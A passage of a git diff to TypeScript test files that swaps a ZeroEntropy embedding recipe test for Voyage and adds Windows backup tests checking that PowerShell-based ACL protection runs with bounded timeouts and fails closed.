- expect(ocIdx).toBeGreaterThan(0);
- // Branch sits within ~2KB of the case opener (in the fetchWrapper
- // ternary) — a sanity bound on where it lives.
- expect(branchIdx).toBeGreaterThan(ocIdx);
- expect(branchIdx - ocIdx).toBeLessThan(2000);
- });
-});
diff --git a/test/ai/zeroentropy-recipe.test.ts b/test/ai/zeroentropy-recipe.test.ts
deleted file mode 100644
index 9e84db4dc6..0000000000
--- a/test/ai/zeroentropy-recipe.test.ts
+++ /dev/null
@@ -1,62 +0,0 @@
-/**
- * v0.35.0.0+ ZeroEntropy recipe shape tests. Pins the contracts Codex
- * Round 1 + 2 flagged in the plan-review wave:
- *
- * - F1: implementation MUST be 'openai-compatible' (not the misspelled
- * 'openai-compat' the original plan draft had).
- * - F2: base_url_default MUST end with '/v1' so the gateway's
- * URL-rewrite path replaces /embeddings → /models/embed cleanly.
- * - reranker touchpoint declared with correct allowlist + payload cap.
- */
-
-import { describe, test, expect } from 'bun:test';
-import { zeroentropyai } from '../../src/core/ai/recipes/zeroentropyai.ts';
-import { RECIPES, getRecipe } from '../../src/core/ai/recipes/index.ts';
-
-describe('zeroentropyai recipe shape', () => {
- test('F1 regression — implementation literal is "openai-compatible"', () => {
- // CDX1-F1: the original plan had 'openai-compat' which is not a valid
- // Implementation literal. This assertion fails loud if a future PR
- // re-introduces the typo.
- expect(zeroentropyai.implementation).toBe('openai-compatible');
- });
-
- test('F2 regression — base_url_default ends with /v1', () => {
- // CDX1-F2: when /embeddings → /models/embed rewrite fires, the final
- // URL must be …/v1/models/embed (NOT …/v1/v1/…). The recipe's base URL
- // already includes /v1, so the rewrite is a plain path substitution.
- expect(zeroentropyai.base_url_default).toBe('https://api.zeroentropy.dev/v1');
- expect(zeroentropyai.base_url_default!.endsWith('/v1')).toBe(true);
- });
-
- test('registered in ALL[] via index.ts', () => {
- expect(RECIPES.has('zeroentropyai')).toBe(true);
- expect(getRecipe('zeroentropyai')).toBe(zeroentropyai);
- });
-
- test('embedding touchpoint declares zembed-1 with 7 flexible dims', () => {
- const e = zeroentropyai.touchpoints.embedding!;
- expect(e.models).toEqual(['zembed-1']);
- expect(e.default_dims).toBe(2560);
- expect(e.supports_multimodal).toBe(false);
- // Dense-payload hedge matches Voyage (CJK / JSON / code overshoot tiktoken).
- expect(e.chars_per_token).toBe(1);
- expect(e.safety_factor).toBe(0.5);
- expect(e.max_batch_tokens).toBe(120_000);
- });
-
- test('reranker touchpoint declares zerank-2 + zerank-1 + zerank-1-small', () => {
- const r = zeroentropyai.touchpoints.reranker!;
- expect(r).toBeDefined();
- expect(r.models).toContain('zerank-2');
- expect(r.models).toContain('zerank-1');
- expect(r.models).toContain('zerank-1-small');
- expect(r.default_model).toBe('zerank-2');
- expect(r.max_payload_bytes).toBe(5_000_000); // ZE's per-request cap.
- });
-
- test('auth_env declares ZEROENTROPY_API_KEY + setup URL', () => {
- expect(zeroentropyai.auth_env!.required).toEqual(['ZEROENTROPY_API_KEY']);
- expect(zeroentropyai.auth_env!.setup_url).toBe('https://dashboard.zeroentropy.dev');
- });
-});
diff --git a/test/asymmetric-encoding-contract.test.ts b/test/asymmetric-encoding-contract.test.ts
index cb435f1edc..ac62785a11 100644
--- a/test/asymmetric-encoding-contract.test.ts
+++ b/test/asymmetric-encoding-contract.test.ts
@@ -29,11 +29,11 @@ import {
__setEmbedTransportForTests,
} from '../src/core/ai/gateway.ts';
-function configureZE() {
+function configureVoyage() {
configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1280,
- env: { ZEROENTROPY_API_KEY: 'sk-fake' },
+ embedding_model: 'voyage:voyage-4',
+ embedding_dimensions: 1024,
+ env: { VOYAGE_API_KEY: 'sk-fake' },
});
}
@@ -51,27 +51,27 @@ afterEach(() => {
});
describe('Search read path uses embedQuery (D17 behavior contract)', () => {
- test('embedQuery threads input_type=query through transport for ZE', async () => {
- configureZE();
+ test('embedQuery threads input_type=query through transport for Voyage', async () => {
+ configureVoyage();
let capturedOpts: any = null;
__setEmbedTransportForTests((async (args: any) => {
capturedOpts = args.providerOptions;
- return fakeEmbeddings(1, 1280);
+ return fakeEmbeddings(1, 1024);
}) as any);
await embedQuery('what does foo bar do?');
expect(capturedOpts?.openaiCompatible?.input_type).toBe('query');
});
- test('embed (index path) threads input_type=document for ZE', async () => {
- configureZE();
+ test('embed (index path) threads input_type=document for Voyage', async () => {
+ configureVoyage();
let capturedOpts: any = null;
__setEmbedTransportForTests((async (args: any) => {
capturedOpts = args.providerOptions;
- return fakeEmbeddings(args.values.length, 1280);
+ return fakeEmbeddings(args.values.length, 1024);
}) as any);
- await embed(['this is a document being indexed']);
+ await embed(['this is a document being indexed'], { inputType: 'document' });
expect(capturedOpts?.openaiCompatible?.input_type).toBe('document');
});
});
diff --git a/test/backup-fsync.serial.test.ts b/test/backup-fsync.serial.test.ts
index 68a9e7341f..e15a94da42 100644
--- a/test/backup-fsync.serial.test.ts
+++ b/test/backup-fsync.serial.test.ts
@@ -1,12 +1,14 @@
import { expect, spyOn, test } from 'bun:test';
+import * as childProcess from 'node:child_process';
import * as fs from 'node:fs';
import { join } from 'node:path';
import { tmpdir } from 'node:os';
import { privateWrite } from '../src/core/agent-install/state.ts';
import { readBackupArchive, writeBackupArchive } from '../src/core/backup/archive.ts';
+import * as privacy from '../src/core/backup/private-path.ts';
for (const platform of ['linux', 'win32'] as const) {
- test(`backup file durability preserves fsync while directory opens follow the ${platform} guard`, () => {
+ test(`backup file durability preserves fsync while directory opens follow the ${platform} guard`, async () => {
const tmp = fs.mkdtempSync(join(tmpdir(), 'gbrain-fsync-'));
const descriptor = Object.getOwnPropertyDescriptor(process, 'platform')!;
const open = fs.openSync;
@@ -26,12 +28,13 @@ for (const platform of ['linux', 'win32'] as const) {
}
return open(path, flags, mode);
});
+ const acl = spyOn(privacy, 'protectNewBackupPath').mockImplementation(async () => {});
try {
Object.defineProperty(process, 'platform', { ...descriptor, value: platform });
const input = join(tmp, 'memory.md');
privateWrite(input, '# Durable fixture\n');
const archive = join(tmp, 'fixture.gbrain-backup');
- writeBackupArchive(archive, {}, [{ path: 'memory.md', file: input }]);
+ await writeBackupArchive(archive, {}, [{ path: 'memory.md', file: input }]);
const into = join(tmp, 'restored');
fs.mkdirSync(into);
readBackupArchive(archive, into);
@@ -41,7 +44,7 @@ for (const platform of ['linux', 'win32'] as const) {
expect(directorySyncs).toBe(platform === 'win32' ? 0 : 2);
} finally {
Object.defineProperty(process, 'platform', descriptor);
- opened.mockRestore(); sync.mockRestore();
+ opened.mockRestore(); sync.mockRestore(); acl.mockRestore();
fs.rmSync(tmp, { recursive: true, force: true });
}
});
@@ -78,3 +81,128 @@ test('unexpected directory I/O errors remain fatal even on Windows', () => {
fs.rmSync(tmp, { recursive: true, force: true });
}
});
+
+for (const outcome of ['protected', 'refused'] as const) test(`archive waits for asynchronous privacy ${outcome} before writing or publishing`, async () => {
+ const tmp = fs.mkdtempSync(join(tmpdir(), 'gbrain-backup-await-'));
+ const input = join(tmp, 'input');
+ const output = join(tmp, 'archive');
+ fs.writeFileSync(input, 'original payload');
+ let release!: () => void;
+ let deny!: (error: Error) => void;
+ let partial = '';
+ let settled = false;
+ const error = new Error('asynchronous privacy refused');
+ const fault = spyOn(privacy, 'protectNewBackupPath').mockImplementation((path, kind) => {
+ expect(kind).toBe('file');
+ partial = path;
+ return new Promise<void>((resolve, reject) => { release = resolve; deny = reject; });
+ });
+ try {
+ const pending = writeBackupArchive(output, {}, [{ path: 'memory', file: input }]);
+ pending.then(() => { settled = true; }, () => { settled = true; });
+ await Promise.resolve();
+ expect(settled).toBe(false);
+ expect(partial.startsWith(output + '.partial-')).toBe(true);
+ expect(fs.readFileSync(partial)).toEqual(Buffer.alloc(0));
+ expect(fs.existsSync(output)).toBe(false);
+ if (outcome === 'refused') {
+ deny(error);
+ await expect(pending).rejects.toBe(error);
+ expect(fs.existsSync(output)).toBe(false);
+ } else {
+ release();
+ expect((await pending).entries).toHaveLength(1);
+ const into = join(tmp, 'restored');
+ fs.mkdirSync(into);
+ readBackupArchive(output, into);
+ expect(fs.readFileSync(join(into, 'memory'), 'utf8')).toBe('original payload');
+ }
+ expect(fs.existsSync(partial)).toBe(false);
+ expect(fs.readFileSync(input, 'utf8')).toBe('original payload');
+ } finally {
+ release?.();
+ fault.mockRestore();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ }
+});
+
+for (const mode of ['success', 'nonzero', 'unexpected-output', 'stdout-limit', 'stderr-limit', 'timeout', 'input-error', 'input-throw', 'changed-content', 'replaced-path'] as const) {
+ test(`Windows privacy async subprocess ${mode} preserves its bounded fail-closed contract`, async () => {
+ const tmp = fs.mkdtempSync(join(tmpdir(), 'gbrain-privacy-process-'));
+ const path = join(tmp, 'empty');
+ fs.writeFileSync(path, '');
+ const descriptor = Object.getOwnPropertyDescriptor(process, 'platform')!;
+ const execute = childProcess.execFile;
+ let child: childProcess.ChildProcess | undefined;
+ let calls = 0;
+ let processError: Error | null = null;
+ let callback = false;
+ const probe = `import * as fs from 'node:fs';
+process.stdin.resume();
+process.stdin.on('end', () => {
+ const mode = ${JSON.stringify(mode)};
+ if (mode === 'timeout' || mode.startsWith('input-')) { setInterval(() => {}, 100); return; }
+ if (mode === 'nonzero') { process.exitCode = 7; return; }
+ if (mode === 'stdout-limit' || mode === 'stderr-limit') { process[mode === 'stdout-limit' ? 'stdout' : 'stderr'].write('x'.repeat(65537)); return; }
+ if (mode === 'changed-content') fs.writeFileSync(process.env.GBRAIN_BACKUP_PRIVATE_PATH, 'unexpected');
+ if (mode === 'replaced-path') { fs.renameSync(process.env.GBRAIN_BACKUP_PRIVATE_PATH, process.env.GBRAIN_BACKUP_PRIVATE_PATH + '.old'); fs.writeFileSync(process.env.GBRAIN_BACKUP_PRIVATE_PATH, ''); }
+ process.stdout.write(mode === 'unexpected-output' ? 'not-private' : 'private');
+});`;
+ const launch = spyOn(childProcess, 'execFile').mockImplementation(new Proxy(execute, {
+ apply(target, thisArg, args) {
+ const options = args[2] as childProcess.ExecFileOptionsWithStringEncoding;
+ if (options?.env?.GBRAIN_BACKUP_PRIVATE_PATH !== path) return Reflect.apply(target, thisArg, args);
+ calls++;
+ expect(args[0]).toBe(join(process.env.SystemRoot ?? 'C:\\Windows', 'System32', 'WindowsPowerShell', 'v1.0', 'powershell.exe'));
+ expect(args[1].slice(0, -1)).toEqual(['-NoLogo', '-NoProfile', '-NonInteractive', '-EncodedCommand']);
+ expect(options).toMatchObject({ encoding: 'utf8', timeout: 15_000, maxBuffer: 64 * 1024, windowsHide: true });
+ expect(options.shell).toBeUndefined();
+ const done = args[3];
+ child = Reflect.apply(target, thisArg, [process.execPath, ['--no-env-file', '--eval', probe], options,
+ (error: Error | null, stdout: string, stderr: string) => { callback = true; processError = error; done(error, stdout, stderr); }]);
+ if (mode === 'input-error' || mode === 'input-throw') {
+ child!.stdin!.end = (() => {
+ if (mode === 'input-throw') throw new Error('injected input close error');
+ child!.stdin!.emit('error', new Error('injected input stream error'));
+ return child!.stdin;
+ }) as NonNullable<childProcess.ChildProcess['stdin']>['end'];
+ }
+ return child;
+ },
+ }));
+ const started = performance.now();
+ try {
+ Object.defineProperty(process, 'platform', { ...descriptor, value: 'win32' });
+ const pending = privacy.protectNewBackupPath(path, 'file');
+ expect(callback).toBe(false);
+ if (mode === 'success') await pending;
+ else await expect(pending).rejects.toMatchObject({ code: 'private_backup_path_unavailable' });
+ expect(calls).toBe(1);
+ expect(callback).toBe(true);
+ expect(child).toBeDefined();
+ expect(child!.exitCode !== null || child!.signalCode !== null).toBe(true);
+ if (mode === 'success') expect(child!.exitCode).toBe(0);
+ if (mode === 'nonzero') expect(child!.exitCode).toBe(7);
+ if (!mode.startsWith('input-')) expect(child?.stdin?.writableEnded).toBe(true);
+ if (mode === 'timeout') {
+ expect(performance.now() - started).toBeGreaterThanOrEqual(14_000);
+ expect(performance.now() - started).toBeLessThan(19_000);
+ expect(child?.killed).toBe(true);
+ expect(processError).not.toBeNull();
+ }
+ if (mode.endsWith('-limit')) {
+ expect(processError).toMatchObject({ code: 'ERR_CHILD_PROCESS_STDIO_MAXBUFFER' });
+ }
+ if (mode !== 'changed-content') expect(fs.readFileSync(path)).toEqual(Buffer.alloc(0));
+ } finally {
+ Object.defineProperty(process, 'platform', descriptor);
+ launch.mockRestore();
+ if (child && child.exitCode === null && child.signalCode === null) {
+ const closed = new Promise<void>(resolve => child!.once('close', () => resolve()));
+ child.kill('SIGKILL');
+ await closed;
+ }
+ fs.rmSync(tmp, { recursive: true, force: true });
+ }
+ }, 25_000);
+}
diff --git a/test/backup-portability-native.serial.test.ts b/test/backup-portability-native.serial.test.ts
new file mode 100644
index 0000000000..24ac2ad5fc
--- /dev/null
+++ b/test/backup-portability-native.serial.test.ts
@@ -0,0 +1,1135 @@
+import { afterAll, beforeAll, expect, spyOn, test } from 'bun:test';
+import * as fs from 'node:fs';
+import { execFileSync } from 'node:child_process';
+import * as childProcess from 'node:child_process';
+import { tmpdir } from 'node:os';
+import { dirname, join, resolve } from 'node:path';
+import { pathToFileURL } from 'node:url';
+import { AgentInstallError, checkedManagedPaths, confinedPath, privateWrite, readInstallReceipt, sha256, type AgentInstallReceipt } from '../src/core/agent-install/state.ts';
+import { extractPgliteDump, readBackupArchive, writeBackupArchive } from '../src/core/backup/archive.ts';
+import { createPgliteBackup, rebaseManagedConfig, restorePgliteBackup } from '../src/core/backup/snapshot.ts';
+import { rebaseRestorePath, relativeBackupPath } from '../src/core/backup/quarantine.ts';
+import { PGLiteEngine } from '../src/core/pglite-engine.ts';
+import { getEmbeddingDimensions } from '../src/core/ai/gateway.ts';
+import { MinionQueue } from '../src/core/minions/queue.ts';
+import { withCoordinatedWrite } from '../src/core/persistence/context.ts';
+import { acquireLock, releaseLock } from '../src/core/pglite-lock.ts';
+import * as privacy from '../src/core/backup/private-path.ts';
+
+let temporary: string;
+let root: string;
+let archive: string;
+let archiveHash: string;
+let original: Awaited<ReturnType<typeof databaseState>>;
+let originalFiles: string[];
+const attachment = Buffer.from([0, 1, 2, 255, 128, 10]);
+const emptyDirectories = ['pg_snapshots', 'pg_twophase', 'pg_replslot', 'pg_commit_ts'];
+const queries = {
+ pages: 'SELECT id, source_id, slug, title, compiled_truth, timeline, frontmatter, content_hash, source_path, generation::text, created_at::text, updated_at::text FROM pages ORDER BY id',
+ chunks: "SELECT id, page_id, chunk_index, chunk_text, model, embedded_text_hash, encode(vector_send(embedding), 'hex') AS vector, embedded_at::text FROM content_chunks ORDER BY id",
+ facts: 'SELECT id, fact, source, source_id FROM facts ORDER BY id',
+ sources: 'SELECT id, local_path, config FROM sources ORDER BY id',
+ jobs: 'SELECT id, status, data, lock_token, lock_until::text FROM minion_jobs ORDER BY id',
+ settings: "SELECT key, value FROM config WHERE key IN ('sync.repo_path', 'mcp.skills_dir', 'connectors.chatgpt.auto_sync') ORDER BY key",
+};
+
+async function databaseState(at: string) {
+ const engine = new PGLiteEngine();
+ await engine.connectForRestore({ engine: 'pglite', database_path: join(at, '.gbrain', 'brain.pglite') });
+ try {
+ const state: Record<keyof typeof queries, Record<string, unknown>[]> = {} as never;
+ for (const [key, sql] of Object.entries(queries)) state[key as keyof typeof queries] = await engine.executeRaw(sql);
+ return state;
+ } finally { await engine.disconnect(); }
+}
+
+function protectedFiles(): string[] {
+ return ['.gbrain/config.json', '.gbrain/agent-install/receipt.json', 'memory/nested/note.md', 'memory/attachments/nested/bytes.bin']
+ .map(path => sha256(fs.readFileSync(join(root, path))));
+}
+
+function collectChild(executable: string, args: string[], options: childProcess.ExecFileOptionsWithStringEncoding): Promise<string> {
+ return new Promise((resolve, reject) => {
+ let settled = false;
+ let watchdog = false;
+ let deadline: ReturnType<typeof setTimeout> | undefined;
+ let cleanup: ReturnType<typeof setTimeout> | undefined;
+ let child: childProcess.ChildProcess | undefined;
+ const finish = (error: Error | null, stdout = '') => {
+ if (settled) return;
+ settled = true;
+ clearTimeout(deadline); clearTimeout(cleanup);
+ if (watchdog) error = Object.assign(new Error('asynchronous completion deadline'), { code: 'GBRAIN_TEST_COMPLETION_TIMEOUT' });
+ if (error) {
+ if (child?.exitCode === null && child.signalCode === null) child.kill('SIGKILL');
+ child?.stdin?.destroy(); child?.stdout?.destroy(); child?.stderr?.destroy();
+ reject(error);
+ } else resolve(stdout);
+ };
+ child = childProcess.execFile(executable, args, options, (error, stdout) => finish(error, stdout));
+ child.on('error', error => finish(error));
+ deadline = setTimeout(() => {
+ watchdog = true;
+ cleanup = setTimeout(() => finish(new Error('asynchronous termination not confirmed')), 1_000);
+ child!.kill('SIGKILL');
+ }, 15_000);
+ const inputFailure = () => finish(Object.assign(new Error('asynchronous input unavailable'), { code: 'GBRAIN_TEST_INPUT_FAILURE' }));
+ if (!child.stdin) { inputFailure(); return; }
+ child.stdin.on('error', inputFailure);
+ try { child.stdin.end(); }
+ catch { inputFailure(); }
+ });
+}
+
+async function expectPrivate(path: string, directory: boolean, protectedAcl = false) {
+ if (process.platform !== 'win32') {
+ expect(fs.statSync(path).mode & 0o777).toBe(directory ? 0o700 : 0o600);
+ return;
+ }
+ const script = fs.readFileSync(join(import.meta.dir, 'fixtures/windows-backup-dotnet-inspect.ps1'), 'utf8');
+ try {
+ const result = JSON.parse(await collectChild(join(process.env.SystemRoot ?? 'C:\\Windows', 'System32', 'WindowsPowerShell', 'v1.0', 'powershell.exe'),
+ ['-NoLogo', '-NoProfile', '-NonInteractive', '-EncodedCommand', Buffer.from(script, 'utf16le').toString('base64')], {
+ env: { ...process.env, GBRAIN_TEST_ACL_PATH: path }, encoding: 'utf8', timeout: 15_000, maxBuffer: 64 * 1024, windowsHide: true,
+ }));
+ expect(typeof result.user === 'string' && /^S-\d+(?:-\d+)+$/.test(result.user)).toBe(true);
+ expect(Array.isArray(result.rules)).toBe(true);
+ expect(result.owner).toBe(result.user);
+ if (protectedAcl) expect(result.protected).toBe(true);
+ const expectedSids = [...new Set([result.user, 'S-1-5-18'])].sort();
+ expect(result.rules.map((rule: { sid: string }) => rule.sid).sort()).toEqual(expectedSids);
+ for (const rule of result.rules) {
+ expect(rule.allow).toBe('Allow');
+ expect(rule.rights).toBe(0x1f01ff);
+ expect(rule.inheritance).toBe(directory ? 3 : 0);
+ expect(rule.propagation).toBe(0);
+ expect(typeof rule.inherited).toBe('boolean');
+ if (protectedAcl) expect(rule.inherited).toBe(false);
+ }
+ } catch { throw new Error('Windows private ACL verification failed'); }
+}
+
+async function expectOriginal() {
+ expect(await databaseState(root)).toEqual(original);
+ expect(protectedFiles()).toEqual(originalFiles);
+ expect(sha256(fs.readFileSync(archive))).toBe(archiveHash);
+}
+
+async function expectIncomplete(into: string) {
+ expect(JSON.parse(fs.readFileSync(join(into, 'restore-receipt.json'), 'utf8'))).toMatchObject({ state: 'failed', original_preserved: true });
+ expect(fs.existsSync(join(into, 'bin', 'gbrain'))).toBe(false);
+ const stages = fs.readdirSync(into).filter(name => name.startsWith('.restore-'));
+ expect(stages).toHaveLength(1);
+ await expectPrivate(into, true, true);
+ await expectPrivate(join(into, stages[0]), true);
+ const payload = join(into, stages[0], 'payload', 'database.tar');
+ if (fs.existsSync(payload)) await expectPrivate(payload, false);
+}
+
+function rawArchive(file: string, paths: string[]) {
+ const manifest = Buffer.from(JSON.stringify({ format_version: 1, entries: paths.map(path => ({ path, size: 0, sha256: sha256('') })) }));
+ const length = Buffer.alloc(4); length.writeUInt32BE(manifest.length);
+ fs.writeFileSync(file, Buffer.concat([Buffer.from('GBRAIN-BACKUP-1\n'), length, manifest]));
+}
+
+beforeAll(async () => {
+ temporary = fs.realpathSync(fs.mkdtempSync(join(tmpdir(), 'gbrain-native-backup-')));
+ root = join(temporary, 'original'); archive = join(temporary, 'snapshot.gbrain-backup');
+ fs.mkdirSync(join(root, '.gbrain'), { recursive: true, mode: 0o700 });
+ for (const path of ['memory/nested', 'memory/attachments/nested', 'instructions/nested']) fs.mkdirSync(join(root, path), { recursive: true });
+ const config = { engine: 'pglite', database_path: join(root, '.gbrain', 'brain.pglite'), embedding_disabled: true,
+ storage: { backend: 'local', localPath: join(root, 'memory', 'attachments', 'nested') },
+ mcp: { skills_dir: join(root, 'instructions', 'nested') }, autopilot: { auto_drain: { enabled: true } } };
+ privateWrite(join(root, '.gbrain', 'config.json'), JSON.stringify(config));
+ const receipt: AgentInstallReceipt = {
+ format_version: 1, installation_id: crypto.randomUUID(), root, harness: 'grok-bot', source_id: 'default',
+ database_path: config.database_path, state: 'ready', initialized: true, adopted: false,
+ created_at: new Date().toISOString(), updated_at: new Date().toISOString(), managed_paths: ['memory', 'instructions'], owned_files: {},
+ native: { skill_id: 'fixture-skill', routine_id: 'fixture-routine', verification: 'unverified' }, search_mode_confirmation_required: true,
+ };
+ privateWrite(join(root, '.gbrain', 'agent-install', 'receipt.json'), JSON.stringify(receipt));
+ fs.writeFileSync(join(root, 'memory', 'nested', 'note.md'), `# Fixture\nRemembered text includes ${root}; it must not change.\n`);
+ fs.writeFileSync(join(root, 'memory', 'attachments', 'nested', 'bytes.bin'), attachment);
+ fs.writeFileSync(join(root, 'instructions', 'nested', 'skill.md'), '# Inactive fixture skill\n');
+ const engine = new PGLiteEngine();
+ await engine.connect({ engine: 'pglite', database_path: config.database_path });
+ try {
+ await engine.initSchema();
+ await engine.transaction(tx => withCoordinatedWrite(tx, ['default', 'nested', 'external'], async () => {
+ await tx.executeRaw("SELECT set_config('gbrain.topology_change','on',true)");
+ await tx.executeRaw("UPDATE sources SET local_path=$1 WHERE id='default'", [join(root, 'memory')]);
+ await tx.executeRaw("INSERT INTO sources (id,name,local_path) VALUES ('nested','Nested fixture',$1),('external','External fixture',$2)", [join(root, 'memory', 'nested'), join(temporary, 'external')]);
+ const origins = [join(root, 'memory', 'nested', 'note.md'), 'relative.md', join(temporary, 'outside', 'legacy.md'), 'Z:\\legacy-fixture\\note.md'];
+ for (let i = 0; i < origins.length; i++) {
+ await tx.executeRaw("INSERT INTO pages (slug,type,title,compiled_truth,content_hash,source_id,source_path) VALUES ($1,'note','Native backup fixture',$2,$3,'nested',$4)", [`fixture-${i}`, `Preserve literal origin ${origins[i]} and root ${root}`, `hash-${i}`, origins[i]]);
+ }
+ const vector = Array.from({ length: getEmbeddingDimensions() }, (_, i) => i === 0 ? 0.75 : i === 1 ? -0.125 : 0);
+ await tx.executeRaw("INSERT INTO content_chunks (page_id,chunk_index,chunk_text,embedding,model,embedded_text_hash,embedded_at) SELECT id,0,compiled_truth,$1::vector,'fixture-model',NULL,'2026-01-01T00:00:00Z' FROM pages WHERE slug IN ('fixture-0','fixture-1')", [JSON.stringify(vector)]);
+ await tx.executeRaw("INSERT INTO facts (fact,source,source_id) VALUES ('DB-only backup fixture','fixture','nested')");
+ await tx.setConfig('sync.repo_path', join(root, 'memory', 'nested'));
+ await tx.setConfig('mcp.skills_dir', join(root, 'instructions', 'nested'));
+ await tx.setConfig('connectors.chatgpt.auto_sync', 'true');
+ }));
+ const queue = new MinionQueue(engine);
+ await queue.add('subagent', { fixture: 'unfinished' }, {}, { allowProtectedSubmit: true });
+ const completed = await queue.add('subagent', { fixture: 'completed' }, {}, { allowProtectedSubmit: true });
+ await engine.executeRaw("UPDATE minion_jobs SET status='completed' WHERE id=$1", [completed.id]);
+ } finally { await engine.disconnect(); }
+ original = await databaseState(root);
+ originalFiles = protectedFiles();
+ expect(original.pages).toHaveLength(4);
+ expect(original.chunks).toHaveLength(2);
+ expect(original.chunks.every(chunk => typeof chunk.vector === 'string' && chunk.vector.length > 100)).toBe(true);
+ expect(original.facts).toHaveLength(1);
+ expect(original.jobs).toHaveLength(2);
+}, 120_000);
+
+afterAll(() => { if (temporary) fs.rmSync(temporary, { recursive: true, force: true }); });
+
+test.skipIf(process.platform !== 'win32' || process.env.GBRAIN_TEST_BACKUP_CONSOLE_PROBE !== '1')('private ACL setup compares hidden and visible PowerShell windows', async () => {
+ const observations = [];
+ for (const mode of ['hidden', 'visible', 'visible', 'hidden'] as const) {
+ const path = join(temporary, `console-${observations.length} [literal] 'é`);
+ fs.mkdirSync(path);
+ const before = fs.lstatSync(path, { bigint: true });
+ let launches = 0;
+ let inspections = 0;
+ let bounded = false;
+ let fixedExecutable = false;
+ let productionHidden = false;
+ let nativeError: string | null = null;
+ let inspectionError: string | null = null;
+ const execute = childProcess.execFile;
+ const inspect = spyOn(childProcess, 'execFile').mockImplementation(new Proxy(execute, {
+ apply(target, thisArg, args) {
+ const options = args[2] as childProcess.ExecFileOptionsWithStringEncoding;
+ const protection = options?.env?.GBRAIN_BACKUP_PRIVATE_PATH === path;
+ const inspection = options?.env?.GBRAIN_TEST_ACL_PATH === path;
+ if (!protection && !inspection) return Reflect.apply(target, thisArg, args);
+ if (protection) {
+ launches++;
+ fixedExecutable = args[0] === join(process.env.SystemRoot ?? 'C:\\Windows', 'System32', 'WindowsPowerShell', 'v1.0', 'powershell.exe');
+ bounded = options.timeout === 15_000 && options.maxBuffer === 64 * 1024 && !options.shell;
+ productionHidden = options.windowsHide === true;
+ } else inspections++;
+ const recordError = (error: unknown) => {
+ const code = (error as NodeJS.ErrnoException).code === 'ETIMEDOUT' ? 'ETIMEDOUT' : 'other';
+ if (protection) nativeError = code;
+ else inspectionError = code;
+ };
+ const callback = args[3];
+ try {
+ return Reflect.apply(target, thisArg, [args[0], args[1], mode === 'hidden' ? options : { ...options, windowsHide: false },
+ (error: childProcess.ExecFileException | null, stdout: string, stderr: string) => {
+ if (error) recordError(error);
+ callback(error, stdout, stderr);
+ }]);
+ }
+ catch (error) { recordError(error); throw error; }
+ },
+ }));
+ let protectedPath = false;
+ let privateAcl = false;
+ const started = performance.now();
+ try {
+ try { await privacy.protectNewBackupPath(path, 'directory'); protectedPath = true; } catch {}
+ if (mode === 'visible' && protectedPath) {
+ try { await expectPrivate(path, true, true); privateAcl = true; } catch {}
+ }
+ } finally { inspect.mockRestore(); }
+ const after = fs.lstatSync(path, { bigint: true });
+ observations.push({ mode, elapsedMs: Math.round(performance.now() - started), launches, inspections,
+ bounded, fixedExecutable, productionHidden, nativeError, inspectionError, protectedPath, privateAcl,
+ sameIdentity: before.dev === after.dev && before.ino === after.ino && before.birthtimeNs === after.birthtimeNs,
+ empty: after.isDirectory() && fs.readdirSync(path).length === 0 });
+ }
+ process.stderr.write(`Windows backup console controls: ${JSON.stringify({ arch: process.arch, runtime: Bun.version, observations })}\n`);
+ for (const observation of observations) {
+ expect(observation.launches).toBe(1);
+ expect(observation.bounded).toBe(true);
+ expect(observation.fixedExecutable).toBe(true);
+ expect(observation.productionHidden).toBe(true);
+ expect(observation.sameIdentity).toBe(true);
+ expect(observation.empty).toBe(true);
+ if (observation.mode !== 'visible') continue;
+ expect(observation.protectedPath).toBe(true);
+ expect(observation.nativeError).toBeNull();
+ expect(observation.inspections).toBe(1);
+ expect(observation.privateAcl).toBe(true);
+ expect(observation.inspectionError).toBeNull();
+ }
+}, 120_000);
+
+for (const kind of ['directory', 'file'] as const) test.skipIf(process.platform !== 'win32' || process.env.GBRAIN_TEST_BACKUP_DOTNET_PROBE !== '1')(`private ${kind} ACL setup compares cmdlet and direct dotnet calls`, async () => {
+ const legacyProgram = fs.readFileSync(join(import.meta.dir, 'fixtures/windows-backup-cmdlet-protect.ps1'), 'utf8').replace(/\r\n/g, '\n');
+ const inspectProgram = fs.readFileSync(join(import.meta.dir, 'fixtures/windows-backup-dotnet-inspect.ps1'), 'utf8');
+ const observations = [];
+ let originalProgram: string | undefined;
+ for (const mode of ['cmdlet', 'dotnet', 'dotnet', 'cmdlet'] as const) {
+ const path = join(temporary, `dotnet-${kind}-${observations.length} [literal] 'é`);
+ if (kind === 'directory') fs.mkdirSync(path);
+ else fs.writeFileSync(path, '');
+ const before = fs.lstatSync(path, { bigint: true });
+ let launches = 0;
+ let inspections = 0;
+ let bounded = false;
+ let fixedExecutable = false;
+ let stableProgram = false;
+ let protectionOptions: childProcess.ExecFileOptionsWithStringEncoding | undefined;
+ let protectionChild: childProcess.ChildProcess | undefined;
+ let nativeError: string | null = null;
+ let inspectionError: string | null = null;
+ const execute = childProcess.execFile;
+ const inspect = spyOn(childProcess, 'execFile').mockImplementation(new Proxy(execute, {
+ apply(target, thisArg, args) {
+ const options = args[2] as childProcess.ExecFileOptionsWithStringEncoding;
+ const protection = options?.env?.GBRAIN_BACKUP_PRIVATE_PATH === path;
+ const inspection = options?.env?.GBRAIN_TEST_ACL_PATH === path;
+ if (!protection && !inspection) return Reflect.apply(target, thisArg, args);
+ const command = args[1] as string[];
+ if (protection) {
+ launches++;
+ fixedExecutable = args[0] === join(process.env.SystemRoot ?? 'C:\\Windows', 'System32', 'WindowsPowerShell', 'v1.0', 'powershell.exe');
+ bounded = options.timeout === 15_000 && options.maxBuffer === 64 * 1024 && !options.shell && options.windowsHide === true;
+ originalProgram ??= command.at(-1);
+ stableProgram = command.at(-1) === originalProgram;
+ protectionOptions = options;
+ } else inspections++;
+ const recordError = (error: unknown) => {
+ const code = (error as NodeJS.ErrnoException).code === 'ETIMEDOUT' ? 'ETIMEDOUT' : 'other';
+ if (protection) nativeError = code;
+ else inspectionError = code;
+ };
+ const callback = args[3];
+ try {
+ expect(command.slice(0, -1)).toEqual(['-NoLogo', '-NoProfile', '-NonInteractive', '-EncodedCommand']);
+ const child = Reflect.apply(target, thisArg, [args[0], mode === 'cmdlet' && protection
+ ? [...command.slice(0, -1), Buffer.from(legacyProgram, 'utf16le').toString('base64')] : command, options,
+ (error: childProcess.ExecFileException | null, stdout: string, stderr: string) => {
+ if (error) recordError(error);
+ callback(error, stdout, stderr);
+ }]);
+ if (protection) protectionChild = child;
+ return child;
